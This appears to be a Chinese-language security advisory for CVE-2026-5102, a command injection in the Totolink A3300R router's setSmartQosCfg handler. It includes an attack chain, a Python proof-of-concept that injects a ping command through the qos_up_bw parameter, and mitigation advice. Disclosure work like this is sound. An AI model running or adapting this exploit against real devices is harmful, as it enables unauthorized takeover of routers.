IPBUF安全漏洞报告
English
CVE-2026-5102 CVSS 6.3 中危

CVE-2026-5102 Totolink路由器命令注入漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-5102
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Totolink A3300R

相关标签

命令注入RCETotolinkIoTCVE-2026-5102

漏洞概述

Totolink A3300R路由器在固件版本17.0.0cu.557_b20221024中存在安全漏洞。该漏洞位于/cgi-bin/cstecgi.cgi文件的setSmartQosCfg函数中,由于对参数qos_up_bw缺乏严格的过滤,导致攻击者可注入恶意命令。攻击者需低权限且无需用户交互即可远程利用此漏洞,可能导致机密性、完整性及可用性受损。

技术细节

该漏洞的核心原理是典型的操作系统命令注入。在Totolink A3300R路由器的固件代码中,/cgi-bin/cstecgi.cgi充当CGI网关,负责处理前端发来的各种配置请求。当请求动作function为setSmartQosCfg时,后端程序会解析数据中的qos_up_bw参数,该参数本应表示上行带宽数值。然而,开发人员未对该参数进行严格的输入验证,直接将其拼接到系统命令字符串中,并调用了类似system()或popen()的高危函数执行。攻击者利用这一缺陷,可以在带宽数值后追加分号(;)、管道符(|)等Shell连接符,从而强制路由器执行额外的任意系统指令。由于攻击复杂度低且无需用户交互,攻击者一旦通过网络触达该接口,即可获取设备控制权。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别暴露的Totolink A3300R设备及其Web管理接口。
STEP 2
2. 访问获取
攻击者通过网络访问/cgi-bin/cstecgi.cgi接口,根据CVSS评分,可能需要低权限账号或默认凭证。
STEP 3
3. 漏洞利用
攻击者发送特制的POST请求,在setSmartQosCfg功能的qos_up_bw参数中注入恶意Shell命令。
STEP 4
4. 命令执行
由于未过滤特殊字符,后端系统将恶意参数拼接到系统命令中执行,攻击者获得设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Malicious payload to execute a shell command (e.g., ping) # The payload injects a command separator ';' to bypass the intended logic payload = "1; ping -c 4 192.168.1.100" # Construct the data payload data = { "function": "setSmartQosCfg", "qos_up_bw": payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check your network listener for ICMP packets.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

影响范围

Totolink A3300R 17.0.0cu.557_b20221024

防御指南

临时缓解措施
如果无法立即升级固件,建议将路由器管理界面仅限制在内网访问,并定期检查系统日志是否存在异常的CGI请求或进程。同时,应关闭不必要的远程管理功能,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表